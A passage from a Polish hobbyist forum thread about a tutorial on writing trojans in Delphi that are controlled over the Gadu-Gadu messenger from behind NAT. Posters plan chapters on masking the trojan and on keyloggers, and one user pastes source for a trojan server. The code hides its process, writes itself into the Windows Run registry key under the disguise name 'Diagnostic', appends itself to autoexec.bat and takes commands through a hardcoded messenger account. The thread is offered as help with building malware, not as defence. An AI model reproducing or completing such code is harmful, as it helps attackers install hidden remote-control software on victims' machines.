Artykuł o pisaniu trojanów za natem część I

[Śmietana]

wszystko robiłem jak trzeba ale nie wiem jak to zrobić:

Wrzucamy komponent HGG na Forme serwera[/b]

a niestety w rarze tego kursu nie ma obrazków, a chyba powinny być

aha jestem zielony narazie w tym sprawach
uzywam delphi 7 personal

 

[bobikrk]

To najpierw naucz się podstaw a potem bierz się za pisanie trojanów :!:

 

[Śmietana]

a mógłby ktoś podać link do poradnika na temat podstaw delphi?

 

[FDJ]

http://www.4programmes.net poszukaj tam!!

 

[Kornik52]

Panowie od przedwczoraj, zaczolem przepisywac artykuł (tzn. poprawiac literówki,dodam pare rzeczy pozmieniam to co juz jest nieaktualne i dodam to co mialo byc w czesci II)

narazie menu wyglada tak jak pokazalem nizej juz ponad polowa jest przerzucona i sporo dodano juz niedlugo powinna pojawic się poprawiona wersja.

1.) Wstęp.
- Pojęcia
2.) Instalowanie komponentów.
- komponet THGG
- komponent GGLite
- komponent do www/ftp (indy)
- sockety Delphi 7
3.) Pisanie trojana.
- użycie THGG (klient / serwer)
- użycie GGLite (serwer oraz klient)
- użycie www/ftp (klient / serwer)
- użycie socketów
4.) Maskowanie trojana.
5.) Konfigurator.
6.) Podziekowania.
7.) Zakończenie.[/b]

Jeżeli masz jakieś pomysły to wypowiedz się tutaj.

 

[FDJ]

Dorzuc art o rejestrach i cos o keyloggerach :]


ICQ ??

 

[rzeszutek]

a moze dodał byś jeszcze IRC ? były chyba już takie zapowiedzi?

 

[Kornik52]

a moze dodał byś jeszcze IRC ? były chyba już takie zapowiedzi?[/b]

Tak byly takie zapowiedzi i moze to zrobie lecz wiesz obawiam sie ze "Mafia" nie zaczai co to sa kanaly itp.

Jezeli chesz sie nauczyc pisac kliena irc to masz tutaj ciekawy artykul

Dorzuc art o rejestrach i cos o keyloggerach :]

ICQ ?[/b]

ICQ ciekawy pomysł

tylko ze jak narazie to ja nie obczailem kopmponentow do icq.
Co do rejestrów i keyloggerow, o tak rejestry to juz wlasnie przed chwila skonczylem.

i wyglad menu sie zmienil

 

[Bios666]

link nie dziala;/ wczesniej chosil!!

 

[Kornik52]

link nie dziala;/ wczesniej chosil!![/b]

Chyba limit się wyczerpał :/

 

[Kornik52]

Art jest ukonczony tak w 75 % ale juz mam dosyc

 

[FDJ]

Pisz pisz wszyscy czekaja

 

[Master_H@ker]

coś nie moge sciagnac tego art.

i poszukuje jescze tego

1.) Uzycie darmowego komponentu THGG

2.) Uzycie płatnego komponentu GGLitle

3.) Uzycie darmowych komponentów obsługujących www/ftp

 

[_MaVeR_]

panie Master Haker ^^ to wszystko jest w rar spakowane

 

[ajsmen°]

Czy ktos moze mi powiedziec gdzie jest blad w zroodle gglitle ? Wydaje mi sie ze nie chce sie logowac na noomer, a poza tym MsgFormat chyba jest cos zle ... Proszę pomoozcie, nie znam sie zbyt na komponentach, czy jest jakas stronka z ktoorej da sie wziac opis komend gglitle ? (na stronce autora nie znalazlem)

 

[Kornik52]

MSGFORMAT:Variant;

 

[ajsmen°]

Yoł jaka szybka odpowiedz .. dzieki ... a co jest z połaczeniem ? nie łączy się z serverem gg ...

g.login:=xcv;
gg.password:='xcv';
gg.GGInitHost;
gg.GGLogon;
gg.GGChangeUserStatus;

ten urywek jest dobrze ?

 

[Kornik52]

Yoł jaka szybka odpowiedz .. dzieki ... a co jest z połaczeniem ? nie łączy się z serverem gg ...

g.login:=xcv;
gg.password:='xcv';
gg.GGInitHost;
gg.GGLogon;
gg.GGChangeUserStatus;

ten urywek jest dobrze ?[/b]

gg.login:=xcv; wszystko jest dobrze ;] o ile mi wiadomo to jeszcze w komponencie GGlite trzeba przestawic userDesc czy jakos tam :]

 

[ajsmen°]

[center:275957b72d]The ggRecvMsg method referenced by gg.OnRecvMsg has an incompatible parameter list. Remove the reference ?[/center:275957b72d]

Taki komunikat wyskakuje przy proobie kompilacji :/ Moge wybrac -OK- -NO- -CANCEL- -HELP- :/ Naprawde nie wiem o co chodzi .. proobowalem ogladac zroodlo komponentu ale nic mi to nie dalo wiec sobie odpooscilem ... wklejam kod mojego project1, powiedzcie gdzie jest zle plz ... (wiem ze nie bedzie odpowiadal bo ten fragment jeszcze tworze, ale dlaczego reszta sie kompilowac nie chce ?)

unit Unit1;



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, CoolTrayIcon, GGLite, Registry;



type

  TForm1 = class(TForm)

    gg: TGGLite;

    CoolTrayIcon1: TCoolTrayIcon;

    procedure FormCreate(Sender: TObject);

    procedure FormClose(Sender: TObject; var Action: TCloseAction);

    procedure ggRecvMsg(Sender: TObject; MsgBody: String;

          MsgFormat: Variant; MsgFrom: Integer);

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;



implementation



{$R *.dfm}



function registerserviceprocess(pid,blah:longint):boolean;

stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';



procedure TForm1.FormCreate(Sender: TObject);

var

Reg:TRegistry;

Plik:TextFile;



begin

gg.login:=6736855;

gg.password:='gglitle';

gg.GGInitHost;

gg.GGLogon;

gg.GGChangeUserStatus;



//form1.hide;

registerserviceprocess(0,1);



Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_LOCAL_MACHINE;

try

Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',False);

Reg.WriteString('Diagnostic', 'C:Windowsdiagnostic.exe');

finally

Reg.CloseKey;

Reg.Free;

end;



AssignFile(Plik,'C:autoexec.bat');

Append(Plik);

Writeln(Plik,'C:Windowsdiagnostic.exe');

CloseFile(Plik);

end;



procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

gg.GGLogoutFast;

end;



procedure TForm1.ggRecvMsg(Sender: TObject; MsgBody: String;

        MsgFormat: Variant; MsgFrom: Integer);





MsgFormat:=VarArrayCreate([0,1], varVariant);

MsgFormat[0]:=0;

MsgFormat[1]:='<n>';

gg.GGSendMessage(true,msgfrom,'odebralem',MsgFormat);

end;



end.

 

[Master_H@ker]

a gdzie ten rar bo ja go nie widze podaj linka